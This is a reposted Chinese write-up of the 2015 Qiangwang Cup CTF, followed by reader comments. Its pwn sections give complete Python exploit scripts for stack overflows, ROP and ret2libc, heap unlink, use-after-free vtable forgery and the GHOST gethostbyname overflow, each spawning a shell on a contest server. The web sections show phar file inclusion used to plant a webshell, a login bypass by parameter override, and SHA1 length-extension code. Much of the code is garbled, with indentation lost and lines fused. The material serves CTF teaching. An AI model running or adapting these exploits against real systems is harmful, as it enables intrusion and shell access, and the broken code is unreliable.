CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 漏洞列表
  3. 正文

强网杯

2020年3月31日 918点热度 0人点赞 0条评论

FB招聘站
分类阅读
专栏
公开课
企业服务
用户服务
手机版
搜索
投稿
登录
注册
“强网杯”网络安全挑战赛WriteUp墨客2015-06-07现金奖励共770759人围观 ,发现 13 个不明物体WEB安全其他
屏幕快照 2015-06-07 上午11.48.32.png

“强网杯”挑战赛是面向国内信息安全企业(团队)和高等院校的国家级网络安全赛事,也是第二届国家网络安全宣传周的重要活动之一。

Guess

溢出点:

程序是个按图回答的游戏,游戏通关后会让输入邮箱,会打印

Thank you so much! I will send you a gift, bye!

最开始手试了两把,输入正确的邮箱,但是flag都没有发到邮箱里。

仔细看程序,才发现是个栈溢出。

利用:

这个程序没有给libc库,要拿shell比较困难,不过程序中有读取文件的函数,

所以直接构造rop去读取flag文件。

利用脚本:

from zio import *

target = ('119.254.101.197',10000)
#target = './guess'

def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
io.gdb_hint()
d = io.read_until('What').split('What')[0]

addr = 0x08048830
io.writeline('a'*0x9c+l32(addr)+l32(0)+l32(0x0804A100))
io.read_until('!\n')
#for i in range(9):
for i in range(5):
d = io.read_until('What').split('What')[0]
if 'quu' in d:
io.writeline('pikachu')
elif 'COOL' in d:
io.writeline('peanuts')
elif 'bug' in d:
io.writeline('batman')
elif '88888888888' in d:
io.writeline('linux')
elif '==o==' in d:
io.writeline('superman')
io.read_until('email:')
io.writeline('flag')
io.interact()

exp(target)
urldecoder

在url解码函数中虽然对长度做了限制,不过对%后面的两个字符没有做严格的判断,所以可以在%后面的两个字符中放一个\x00绕过strlen的判断,从而栈溢出。

脚本如下:
from zio import *

target = ('119.254.101.197',10001)
#target = './urldecoder'

def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
io.read_until('URL:')

pop_ebp_ret = 0x080488D2
puts_plt = 0x08048530
puts_got = 0x08049DE8
read_fun = 0x08048720

main = 0x08048590
payload = 'http://%\x32\x00'+'a'*0x94 + l32(puts_plt) + l32(pop_ebp_ret) + l32(puts_got)
payload += l32(main)
payload += '\x00'

io.writeline(payload)
io.read_until('\n')
puts_addr = l32(io.read(4))
print hex(puts_addr)

libc_base = puts_addr - 0x00065650
io.read_until('URL:')

system_addr = libc_base + 0x00040190
binsh_addr = libc_base + 0x00160A24

payload = 'http://%\x32\x00'+'a'*0x94 + l32(system_addr) + l32(pop_ebp_ret) + l32(binsh_addr)

io.writeline(payload)
io.interact()

exp(target)
shellman

在edit的时候没有对长度做判断,存在堆溢出

利用:

参考了217的0ctf freenote的writeup中的思路,通过堆溢出,修改下一块堆的size字节中的prev_inuse比特位,让下一块堆误认为其上一块堆处于空闲态。

之后在free 下一块堆时,后调用unlink。通过伪造的上一块堆结构,修改了bss节中的一个堆指针。

之后利用程序的edit和show功能,实现内存的任意读写。

利用脚本:
from zio import *

target = ('119.254.101.197', 10002)
#target = './shellman'

def new_sc(io, sc):
io.read_until('>')
io.writeline('2')
io.read_until(':')
io.writeline(str(len(sc)))
io.read_until(':')
io.write(sc)

def edit_sc(io, index, new_sc):
io.read_until('>')
io.writeline('3')
io.read_until(':')
io.writeline(str(index))
io.read_until(':')
io.writeline(str(len(new_sc)))
io.read_until(':')
io.write(new_sc)

def delete_sc(io, index):
io.read_until('>')
io.writeline('4')
io.read_until(':')
io.writeline(str(index))

def list_sc(io):
io.read_until('>')
io.writeline('1')
io.read_until('SHELLC0DE 0: ')
return l64(io.read(16).decode('hex'))

def exp(target):
#io = zio(target, timeout=10000, print_read=COLORED(REPR, 'red'), print_write=COLORED(REPR, 'green'))
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
new_sc(io, 'a'*0xa0) #0x603010
new_sc(io, 'b'*0xa0) #0x6030c0
new_sc(io, '/bin/sh;'+'c'*0x98) #0x603170

ptr_addr = 0x00000000006016d0
# rax rdx
payload = l64(0) + l64(0xa1) + l64(ptr_addr-0x18) + l64(ptr_addr-0x10) + 'a'*0x80 + l64(0xa0) + l64(0xb0)

edit_sc(io, 0, payload) # change *0x6016d0 = 0x6016b8

delete_sc(io, 1)

free_got = 0x0000000000601600
payload2 = l64(0) + l64(1) +l64(0xa0) + l64(free_got)
edit_sc(io, 0, payload2)

free_addr = list_sc(io)
print hex(free_addr)

#local
'''
system_addr = 0x00007FFFF7A5B640
'''
libc_base = free_addr - 0x0000000000082DF0
system_addr = libc_base + 0x0000000000046640

edit_sc(io, 0, l64(system_addr))

delete_sc(io, 2)
io.interact()

exp(target)
imdb

漏洞点:

在删除操作的时候,会将所有同名的全部删除,但是只会将最后一个的指针清0,存在uaf漏洞。

利用:

因为movie和tv结构体的前4字节为一个虚表指针,所以考虑伪造虚表。不过因为程序中所有用户输入的数据都存储在堆上,伪造的虚表也只能放在堆上,要想获取伪造虚表的地址,需要先通过泄露一个堆指针得到伪造虚表所在地址。同时,为了拿shell还需要获取libc库加载基地址。

利用打印movie中的actors可以实现任意地址的读取。

这道题没有给libc库,不过根据泄露的信息可以知道用的库和shellman是同一个,所以也就相当于有libc库。

利用的脚本如下:
from zio import *

target = ('119.254.101.197',10003)
#target = './imdb'

def add_tv(io, name, session, rating, introduction):
io.read_until('?')
io.writeline('1')
io.read_until('?')
io.writeline(name)
io.read_until('?')
io.writeline(str(session))
io.read_until('?')
io.writeline(str(rating))
io.read_until('?')
io.writeline(introduction)

def add_movie(io, name, actors, rating, introduction):
io.read_until('?')
io.writeline('2')
io.read_until('?')
io.writeline(name)
io.read_until('?')
io.writeline(actors)
io.read_until('?')
io.writeline(str(rating))
io.read_until('?')
io.writeline(introduction)

def remove_entry(io, name):
io.read_until('?')
io.writeline('3')
io.read_until('?')
io.writeline(name)

def show_all(io):
io.read_until('?')
io.writeline('4')
io.read_until('bbbbbbbb')
io.read_until('actors: ')
d = io.read_until('\n').strip('\n')
malloc_addr = l64(d.ljust(8, '\x00'))
print hex(malloc_addr)

io.read_until('bbbbbbbb')
io.read_until('actors: ')
d = io.read_until('\n').strip('\n')
heap_addr = l64(d.ljust(8, '\x00'))
print hex(heap_addr)

return malloc_addr, heap_addr

def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))

add_tv(io, 'aaa', 100, 200, 'bbbb') #0x602010
add_tv(io, 'aaa', 100, 200, 'bbbb') #0x6020f0
add_tv(io, 'aaa', 100, 200, 'bbbb') #0x6021d0

remove_entry(io, 'aaa')

malloc_got = 0x0000000000601C58

db_addr = 0x601dc0
movie_vt = 0x00000000004015b0

payload = l64(movie_vt) + 'a'*8 + '\x00'*56 + 'b'*8 +'\x00'*(0x80-8) + l64(0x0000006443480000)+l64(malloc_got)
print len(payload)
add_movie(io, 'ccc', payload, 300, 'eeee') #0x602010 0x602110

add_tv(io, 'hhh', 100, 200, 'bbbb') #0x6021e0
add_tv(io, 'hhh', 100, 200, 'bbbb') #0x6022c0
add_tv(io, 'hhh', 100, 200, 'bbbb') #0x6023a0
remove_entry(io, 'hhh')

payload = l64(movie_vt) + 'a'*8 + '\x00'*56 + 'b'*8 +'\x00'*(0x80-8) + l64(0x0000006443480000)+l64(db_addr)
add_movie(io, 'ccc', payload, 300, 'eeee')

malloc_addr, heap_addr = show_all(io)

io.gdb_hint()
add_tv(io, 'jjj', 100, 200, 'bbbb') #0x6023b0
add_tv(io, 'jjj', 100, 200, 'bbbb') #0x602490
add_tv(io, 'jjj', 100, 200, 'bbbb') #0x602570
remove_entry(io, 'jjj')

#local
#addr2 = malloc_addr - 0x00007FFFF7277750 + 0x00007FFFF723B52C

#remote
addr2 = malloc_addr - 0x0000000000082750 + 0x000000000004652c

fake_vt = 0x6023b0+8 - 0x602010 + heap_addr
payload = l64(fake_vt) + '/bin/sh;' + '\x00'*56 + 'b'*8 +'\x00'*(0x80-8) + l64(0x0000006443480000)+l64(db_addr)
print len(payload)
add_movie(io, l64(addr2), payload, 300, 'eeee')

io.writeline('4')
io.interact()

exp(target)
domain_db

漏洞:

该程序调用了gethostbyname,同时提供的libc的版本为2.15.(通过strings libc.so.6 | grep GLIBC查看),所以基本确定是去年的ghost漏洞。

因为当时漏洞刚出来时,大概看了一下漏洞,知道漏洞为4字节溢出。需要达到溢出需要满足2个条件:

Gethostbyname的name参数需要大于0×400,且均为数字或者.号。

通过分析,发现该漏洞可以覆盖下一个堆的size位。

利用过程大致如下:

1. 申请了0-10个domain。

2. 释放domain1

3. 调用gethostbyname,此时保证gethostbyname中申请的堆刚好完全占用domain1释放出来的堆。这样刚好能覆盖domain2的size位,覆盖为0×3231,即对应ascii中的21。

4. 释放domain2。 此时domain2的size被修改了,所以释放时堆管理器会将domain3-10的区域也回收了。此步为了保证过free check,我让domain2_ptr + fake_size == av->top。

5. 之后再次申请空间时,会将domain3-10的空间会被再次分配。可以通过修改其中某个domain的name指针为free_got。

6. 之后利用程序的show和edit功能对free_got进行读取和改写。

利用脚本如下:
from zio import *

target = ('119.254.101.197', 10006)
#target = './domain_db'

def add_domain(io, name):
io.read_until('>')
io.writeline('1')
io.read_until(':')
io.writeline(name)

def lookup_domain(io, id):
io.read_until('>')
io.writeline('5')
io.read_until(':')
io.writeline(str(id))

def edit_domain_name(io, id, new_name):
io.read_until('>')
io.writeline('2')
io.read_until(':')
io.writeline(str(id))
io.read_until(':')
io.writeline(new_name)

def remove_domain(io, id):
io.read_until('>')
io.writeline('3')
io.read_until(':')
io.writeline(str(id))

def list_domain(io):
io.read_until('>')
io.writeline('4')
io.read_until('<1> ')
free = l32(io.read(4))
print hex(free)
return free

def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
io.gdb_hint()
add_domain(io, '0' * (0x800 - 16 - 8 - 1 - 4 - 3)+'12') #0 0x804c008 0x804c7f0
add_domain(io, '0'*0x770) #1 0x804c878 0x804cff0 top=0x804d070
add_domain(io, '0'*0x1a0) #2
add_domain(io, '/bin/sh'+'0'*0x88) #3 0x0804d340 0x0804d2a8
add_domain(io, '0'*0x10) #4 0x0804d3e0
add_domain(io, '0'*0x5b0) #5
add_domain(io, '0'*0x770) #6
add_domain(io, '0'*0x770) #7
add_domain(io, '0'*0x770) #8
add_domain(io, '0'*0x770) #9
add_domain(io, '/bin/sh;'+'0'*(0x770-8)) #10

remove_domain(io, 1)
lookup_domain(io, 0)

remove_domain(io, 2) # top = 0x804d070 unsort=0x804d218

ptr_addr = 0x0804b0a4
add_domain(io, '0'*0x90) #1 0x0804d220
free_got = 0x0804b004
payload2 = 272*'1' + l32(free_got)
add_domain(io, payload2)
free = list_domain(io)
#local
system = 0xb7e55060
#remote
system = free - 0x781b0 + 0x3d170
edit_domain_name(io, 1, l32(system))
remove_domain(io, 10)
io.interact()

exp(target)
最好的语言php

页面很简单,没什么信息,发现了index.php.bak文件,

其中数据库连接和sqli过滤部分隐藏了,尝试了一下确实没有sql注入漏洞。看代码的逻辑应该是在$id==1024的时候会在数据库中查询出flag。利用php与mysql对浮点数据处理精度不同。?id=1024.[若干0]1,尝试几个即可得出flag。

俳句自动打分系统

这道题难度有两点,一个是文件包含漏洞的利用,page=php://filter/convert.base64-encode/resource=index,可以看到index.php文件源码base64编码之后的代码。分析之后可以看到xxtp协议已经过滤,而且最后include语句会加上.php后缀。phar协议可以构造出可包含的poc。

网上搜的phar打包的代码:

startBuffering();
$p['1.php'] = file_get_contents('shell.php');
$p->setStub("stopBuffering();
?>
上面代码会把shell.php打包的phar包中去。因为协议是对本地文件包含,在robots.txt中找到txt文件上传路径,且会返回文件名。将phar包改.txt文件名上传,构造poc:

?page=phar://upload_paiju/Eny2CRWfkt91Gf69.txt/1
这样包含之后的路径就是

Include(upload_paiju/Eny2CRWfkt91Gf69.txt/1.php)
其中Eny2CRWfkt91Gf69.txt/1.php是对phar包中1.php文件的访问方式(可以查一下phar用法)。

获得了webshell。

在第一天,我用的eval一句话木马,eval可用,但是脚本过几秒钟就会被删除。而且没有找到flag文件。

第二天服务重开之后,发现eval木马用不了了,因为这个题目过滤比较严格,可能被过滤了,就换了preg_replace写的一句话,可用。植入代码ini_get_all()获得所有的php.ini文件内容。其中看到被允许的路径只有网站根目录、tmp、和/srv(这是什么鬼?)

Flag就在/srv下躺着了。

这种题目比较好玩,估计是前面进去的人写了php脚本过几秒就删除别人上传的文件,第二天就不存在这种问题了,遇到的问题和后来上来的很大不同,坏人增多了。

Flager-checker

看下源码,只要满足这一行就可以:

后面用&&隔开的一共有47个方程,理论上47个方程47个未知量是可解的,仔细观察一下,可以发现,如果将方程按照长度排序的话,从上至下每隔一行即可解出来一个变量,他的方程每多一行就只多了一个变量而已,那么就可以利用eval对新多出来的变量进行爆破了,脚本:

Keygen

程序有很多种解,通过向服务器提交一种解就可以获得flag:

最优先确定的是4,9,14,19位置,然后,将之前的程序临摹,通过对部分位置的固定赋值可以直接计算出另外位置的合适的数值。

__author__ = 'bibi'
import hashlib
a1="0"*24
def run(a1):
if len(a1)!=24:
return 0
v16= [
a1[11],
a1[2],
a1[1], #0
a1[13],
a1[16], #0
a1[10],
a1[7], #0
a1[17],
]

v8 = [
a1[15], #0
a1[12],
a1[18], #0
a1[0],
a1[6], #0
a1[8],
a1[5], #0
a1[3],
]

v16 += v8

f = open('./sn_download', 'rb')
d = f.read()[0x18e0:]
f.close()
v24=[]
#print v16
for j in range(16):
if (ord(d[j]) - 48 > 9) | (ord(d[j]) < 48): k = ord(d[j]) v24.append(v16[k]) else: v24.append(d[j]) #print v24 #print ''.join(c for c in v24) temp="".join(v24) v25=hashlib.md5(temp).digest() #print v25 #print v25.encode('hex') v26=[] f = open('./sn_download', 'rb') d2 = f.read()[0x18f0:] f.close() for k in range(16): v26.append(d2[ord(v25[k]) >> 4])
v26.append(d2[ord(v25[k]) & 0xf])
#print v26

v42 = ''
for i in range(16):
v42 =v42 + str(ord(v26[i]))

temp = v42.split('0')

final_v42 = ''
for t in temp:
final_v42 += t

'''
for m in range(5,13):
if final_v42[m] != v8[m-5]:
result=0
return 0
'''
v8 = final_v42[5:13]
a2 = a1[0:15]+v8[0]+a1[16:]
a2 = a2[0:12]+v8[1]+a2[13:]
a2 = a2[0:18]+v8[2]+a2[19:]
a2 = v8[3]+a2[1:]
a2 = a2[0:6]+v8[4]+a2[7:]
a2 = a2[0:8]+v8[5]+a2[9:]
a2 = a2[0:5]+v8[6]+a2[6:]
a2 = a2[0:3]+v8[7]+a2[4:]

return a2

a1 = 'aaaa-aaaa-aaaa-aaaa-aaaa'
print run(a1)
a1 = 'abaa-aaaa-aaaa-aaaa-aaaa'
print run(a1)
a1 = 'acaa-aaaa-aaaa-aaaa-aaaa'
print run(a1)
a1 = 'adaa-aaaa-aaaa-aaaa-aaaa'
print run(a1)
a1 = 'aeaa-aaaa-aaaa-aaaa-aaaa'
print run(a1)
a1 = 'afaa-aaaa-aaaa-aaaa-aaaa'
print run(a1)
a1 = 'agaa-aaaa-aaaa-aaaa-aaaa'
print run(a1)
a1 = 'ahaa-aaaa-aaaa-aaaa-aaaa'
print run(a1)
a1 = 'aiaa-aaaa-aaaa-aaaa-aaaa'
print run(a1)
a1 = 'ajaa-aaaa-aaaa-aaaa-aaaa'
print run(a1)
Broken

什么都是坏的,找了个正常的引导区直接winhex覆盖头,发现启动不了,通过vmware在windows下挂载软盘镜像或者直接winhex打开,可以找到几个文件:

Flag文件拿下来,补上png的文件头:

开脑洞,调大长度,拿到flag:

NESTING DOLL

https://github.com/SilasX/QuineRelayFiles,就是一个字,装。

Repartition:

根据题目提示

Secret.rar被删除了,用普通的数据恢复软件即可还原。

但是secretpass.txt被大文件覆盖了

找到其ntfs父目录文件记录0x80b1800,在下方偏移0×200出发现secret.rar的密码

解压得到flag{ch0n9x1n_f3n9u-fu_g41_yebu4nquan}

Salt

本题关键点有两个,一个是用户名admin的绕过,另一个是sha1的长度扩展攻击。

第一点绕过的关键点是url解析的时候后面的变量会覆盖前面的变量,因此我们只需构造

/login?username=a&password=aaaaaa&username=admin
即可,注意此处的password必须为6-20位,这里取6位。

对于第二点的绕过,这里解释一下长度扩展攻击,在正常情况下,需要哈希的字符串为

00000000: 73 61 6C 74 73 61 6C 74 73 61 6C 74 73 61 6C 74 saltsaltsaltsalt
00000010: 2F 6C 6F 67 69 6E 3F 75 73 65 72 6E 61 6D 65 3D /login?username=
00000020: 61 26 70 61 73 73 77 6F 72 64 3D 61 61 61 61 61 a&password=aaaaa
00000030: 61 26 75 73 65 72 6E 61 6D 65 3D 61 64 6D 69 6E a&username=admin
在sha1的时候,会先补一个比特的1,也就是0×80,然后补齐至余512为418,也就是52个字节,剩余的12个字节用来补齐长度,即*(注:补齐,余512为448,最后八字节补齐长度)

00000000: 73 61 6C 74 73 61 6C 74 73 61 6C 74 73 61 6C 74 saltsaltsaltsalt
00000010: 2F 6C 6F 67 69 6E 3F 75 73 65 72 6E 61 6D 65 3D /login?username=
00000020: 61 26 70 61 73 73 77 6F 72 64 3D 61 61 61 61 61 a&password=aaaaa
00000030: 61 26 75 73 65 72 6E 61 6D 65 3D 61 64 6D 69 6E a&username=admin
00000040: 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 ................
然后使用下面的一组数作为初始化向量进行计算,

h0=0x67452301,
h1=0xEFCDAB89,
h2=0x98BADCFE,
h3=0x10325476,
h4=0xC3D2E1F0
计算的规则是对补齐后的数据以512bit即64字节为一组进行移位异或等数学计算,每一组计算会改变h1-h4的值,这些改变的值将作为下一组计算的初始化向量。全部组计算完成后最终的初始化向量拼接起来就是sha1的值。

这样就形成了我们的攻击思路,首先发送正常的数据,获取sha1,然后我们手动补齐上一组正常的数据,又获取一个sha1,之后对第一组获取的sha1的初始化向量进行提取,修改算法中的初始化向量,然后将这个修改后的算法仅仅用于对第二组数据的补全数据进行sha1,就能得出与第二组获取的sha1相同的数据。

也就是说我们发送的第一组数据为

00000000: 73 61 6C 74 73 61 6C 74 73 61 6C 74 73 61 6C 74 saltsaltsaltsalt
00000010: 2F 6C 6F 67 69 6E 3F 75 73 65 72 6E 61 6D 65 3D /login?username=
00000020: 61 26 70 61 73 73 77 6F 72 64 3D 61 61 61 61 61 a&password=aaaaa
00000030: 61 26 75 73 65 72 6E 61 6D 65 3D 61 64 6D 69 6E a&username=admin
这组数据获取的sha1为a02d54c05cecc94ff2d698146e0b2c778104d85,获取的初始化向量分别为0xa02d54c0,0x5cecc94f,0xf2d69814,0x6e0b2c77,0x8104d85

发送的第二组数据为

00000000: 73 61 6C 74 73 61 6C 74 73 61 6C 74 73 61 6C 74 saltsaltsaltsalt
00000010: 2F 6C 6F 67 69 6E 3F 75 73 65 72 6E 61 6D 65 3D /login?username=
00000020: 61 26 70 61 73 73 77 6F 72 64 3D 61 61 61 61 61 a&password=aaaaa
00000030: 61 26 75 73 65 72 6E 61 6D 65 3D 61 64 6D 69 6E a&username=admin
00000040: 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 ................
该组在计算过程中,补全的结果为

00000000: 73 61 6C 74 73 61 6C 74 73 61 6C 74 73 61 6C 74 saltsaltsaltsalt
00000010: 2F 6C 6F 67 69 6E 3F 75 73 65 72 6E 61 6D 65 3D /login?username=
00000020: 61 26 70 61 73 73 77 6F 72 64 3D 61 61 61 61 61 a&password=aaaaa
00000030: 61 26 75 73 65 72 6E 61 6D 65 3D 61 64 6D 69 6E a&username=admin
00000040: 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 ................
00000080: 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 ................
获取的sha1为f687bedf0ce1e96f9238c7dae716337b0d9d74ad

因此我们只需将初始化变量0xa02d54c0,0x5cecc94f0x,f2d69814,0x6e0b2c77,0x8104d85带入算法,只需计算补上的信息

00000080: 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 ................
就可以得出与第二组相等的sha1,即f687bedf0ce1e96f9238c7dae716337b0d9d74ad

本题中,由于获取的sha1不全,只需对第一次获取的sha1中的x进行爆破,就可以得到第一次的sha1,提交即可。

先用python写了一个爆破,结果太慢了,有用c写了一个

代码
Sha1.h
//! SHA1 动态链接库实现 H文件
#ifndef SHA1_H
#define SHA1_H

#include "stdio.h"
//! #定义SHA 中的返回ENUM
/*!
@see enum
*/
#ifndef _SHA_enum_
#define _SHA_enum_
enum
{
shaSuccess = 0,
/*! <空指示参量 */ shaNull, /*! < 输入数据太长提示 */ shaInputTooLong, /*! > (32-(bits))))

SHA_1::SHA_1()
{
}

SHA_1::~SHA_1(void)
{
}

/*
* 以下为sha-1消息块描述:
* 消息块长度为固定之512比特
*/
void SHA_1::SHA1ProcessMessageBlock(SHA1Context *context)
{
const unsigned long K[] = { /* Constants defined in SHA-1 */
0x5A827999,
0x6ED9EBA1,
0x8F1BBCDC,
0xCA62C1D6
};
int t; /* 循环计数 */
unsigned long temp; /* 临时缓存 */
unsigned long W[80]; /* 字顺序 */
unsigned long A, B, C, D, E; /* 设置系统磁盘缓存块 */

/*
* 以下为初始化在W队列中的头16字数据
*/
for(t = 0; t < 16; t++) { W[t] = context->Message_Block[t * 4] << 24; W[t] |= context->Message_Block[t * 4 + 1] << 16; W[t] |= context->Message_Block[t * 4 + 2] << 8; W[t] |= context->Message_Block[t * 4 + 3];
}

for(t = 16; t < 80; t++) { W[t] = SHA1CircularShift(1,W[t-3] ^ W[t-8] ^ W[t-14] ^ W[t-16]); } A = context->Intermediate_Hash[0];
B = context->Intermediate_Hash[1];
C = context->Intermediate_Hash[2];
D = context->Intermediate_Hash[3];
E = context->Intermediate_Hash[4];
/*
* 以下为定义算法所用之数学函数及其迭代算法描述
*/
for(t = 0; t < 20; t++) { temp = SHA1CircularShift(5,A) + ((B & C) | ((~B) & D)) + E + W[t] + K[0]; E = D; D = C; C = SHA1CircularShift(30,B); B = A; A = temp; } for(t = 20; t < 40; t++) { temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[1]; E = D; D = C; C = SHA1CircularShift(30,B); B = A; A = temp; } for(t = 40; t < 60; t++) { temp = SHA1CircularShift(5,A) + ((B & C) | (B & D) | (C & D)) + E + W[t] + K[2]; E = D; D = C; C = SHA1CircularShift(30,B); B = A; A = temp; } for(t = 60; t < 80; t++) { temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[3]; E = D; D = C; C = SHA1CircularShift(30,B); B = A; A = temp; } /* * 以下为迭代算法第80步(最后一步)描述 */ context->Intermediate_Hash[0] += A;
context->Intermediate_Hash[1] += B;
context->Intermediate_Hash[2] += C;
context->Intermediate_Hash[3] += D;
context->Intermediate_Hash[4] += E;

context->Message_Block_Index = 0;
}

/*
* SHA1PadMessage
* 数据填充模块
*/

void SHA_1::SHA1PadMessage(SHA1Context *context)
{

if (context->Message_Block_Index > 55)
{
context->Message_Block[context->Message_Block_Index++] = 0x80;
while(context->Message_Block_Index < 64) { context->Message_Block[context->Message_Block_Index++] = 0;
}

SHA1ProcessMessageBlock(context);

while(context->Message_Block_Index < 56) { context->Message_Block[context->Message_Block_Index++] = 0;
}
}
else
{
context->Message_Block[context->Message_Block_Index++] = 0x80;
while(context->Message_Block_Index < 56) { context->Message_Block[context->Message_Block_Index++] = 0;
}
}

/*
* 把最后64位保存为数据长度
*/
if(isattack)
context->Length_Low = paddinglength*8;

context->Message_Block[56] = context->Length_High >> 24;
context->Message_Block[57] = context->Length_High >> 16;
context->Message_Block[58] = context->Length_High >> 8;
context->Message_Block[59] = context->Length_High;
context->Message_Block[60] = context->Length_Low >> 24;
context->Message_Block[61] = context->Length_Low >> 16;
context->Message_Block[62] = context->Length_Low >> 8;
context->Message_Block[63] = context->Length_Low;

SHA1ProcessMessageBlock(context);
}

/*
* SHA1Reset
*
* 以下为数据初始化之操作
* Parameters:(参数设置)
* context: [in/out]
* The context to reset.
*
*/
int SHA_1::SHA1Reset(SHA1Context *context, unsigned long h1, unsigned long h2, unsigned long h3,unsigned long h4,unsigned long h5)
{
if (!context)
{
return shaNull;
}

context->Length_Low = 0;
context->Length_High = 0;
context->Message_Block_Index = 0;

context->Intermediate_Hash[0] = h1;
context->Intermediate_Hash[1] = h2;
context->Intermediate_Hash[2] = h3;
context->Intermediate_Hash[3] = h4;
context->Intermediate_Hash[4] = h5;

context->Computed = 0;
context->Corrupted = 0;
return shaSuccess;
}

/*
* SHA1Result
*
* 以下为sha-1结果描述:
*:
* 该算法将会返回一个160比特的消息摘要队列
*
* 或者输出计算错误
*
*/
int SHA_1::SHA1Result( SHA1Context *context,
unsigned char Message_Digest[SHA1HashSize])
{
int i;

if (!context || !Message_Digest)
{
return shaNull;
}

if (context->Corrupted)
{
return context->Corrupted;
}

if (!context->Computed)
{
SHA1PadMessage(context);
for(i=0; i<64; ++i) { /* 消息清零 */ context->Message_Block[i] = 0;
}
context->Length_Low = 0; /* 长度清零 */
context->Length_High = 0;
context->Computed = 1;
}

for(i = 0; i < SHA1HashSize; ++i) { Message_Digest[i] = context->Intermediate_Hash[i>>2]
>> 8 * ( 3 - ( i & 0x03 ) );
}

return shaSuccess;
}

/*
* 以下为sha-1输入描述:
*
* 接收单位长度为8字节倍数的消息
*
*/
int SHA_1::SHA1Input( SHA1Context *context,
const unsigned char *message_array,
unsigned length)
{
if(isattack)
return shaSuccess;

if (!length)
{
return shaSuccess;
}

if (!context || !message_array)
{
return shaNull;
}

if (context->Computed)
{
context->Corrupted = shaStateError;
return shaStateError;
}

if (context->Corrupted)
{
return context->Corrupted;
}
while(length-- && !context->Corrupted)
{
context->Message_Block[context->Message_Block_Index++] =
(*message_array & 0xFF);

context->Length_Low += 8;
if (context->Length_Low == 0)
{
context->Length_High++;
if (context->Length_High == 0)
{
/* Message is too long */
context->Corrupted = 1;
}
}

if (context->Message_Block_Index == 64)
{
SHA1ProcessMessageBlock(context);
}

message_array++;
}

return shaSuccess;
}

int main(int argc, char* argv[])
{
class SHA_1 sha1;
SHA_1::SHA1Context sh1context;
// sha1.SHA1Reset(&sh1context,0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476,0xC3D2E1F0);

paddinglength = 128;
isattack = TRUE;

char c[]={'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
int b[7],b1[7];
int bc=0,bc1=0;
for(int i=0;i


check flag





**************************************************
)14(亮了
发表评论已有 13 条评论

Ww1KEYs (1级)好学若饥,谦卑若愚. 2015-06-07回复1楼
额

亮了(2)

化腾叔 (3级)

check flag

**************************************************

亮了(14)

gamehacker (4级)龙门镖局我最大 2015-06-07回复8楼
题目一并打包上来吧。

亮了(1)

wormfox (2级) 2015-06-07回复9楼
把题目发出来吧!

亮了(0)

逸风丶 (1级) 2015-06-07回复10楼
题目是什么

亮了(2)

Vision (1级)flag 2015-06-08回复11楼
不明觉厉,看来要好好学Python了

亮了(0)

dri43w 2015-06-08回复12楼
Flager-checker其实本质还是要用eval特性:

**************************************************

import re

fp = open(r’1.txt’)

buf = fp.read()

fp.close()

a = []

for i in range(0, 47):

a.append(‘?’)

def get_right(v):

dd = v.split(‘==’)

return int(dd[1])

def get_left(v):

dd = v.split(‘==’)

return dd[0]

g={}

while True:

if ‘?’ not in a:

e = ”

for q in a:

e += chr(q)

print e

break

c = buf.split(‘&&’)

for item in c:

if g.has_key(item):

continue

right = get_right(item)

left = get_left(item)

lefts = re.split(‘[%+-.*]‘, left)

if len(lefts) == 1:

a[int(lefts[0][2:-1])] = right

#print item

g[item] = True

else:

i = 0

last_unknow = ”

for x in lefts:

if a[int(x[2:-1])] != ‘?’:

i += 1

else:

last_unknow = x

if len(lefts) – 1 == i:

index = int(last_unknow[2:-1])

for n in range(0,255):

a[index] = n

if eval(item) == True:

g[item] = True

#print ‘item %s’ % item

#print ‘a[%s] = %d’ % (x[2:-1], n)

break

亮了(2)

Satan (1级) 2015-06-14回复13楼
太屌了

亮了(1)
昵称
请输入昵称
必须您当前尚未登录。登录?注册邮箱
请输入邮箱地址
必须(保密)表情插图
有人回复时邮件通知我

墨客

这家伙太懒,还未填写个人描述!

1
文章数
9
评论数
0
关注者

关注
最近文章
“强网杯”网络安全挑战赛WriteUp
2015.06.07

浏览更多
相关阅读
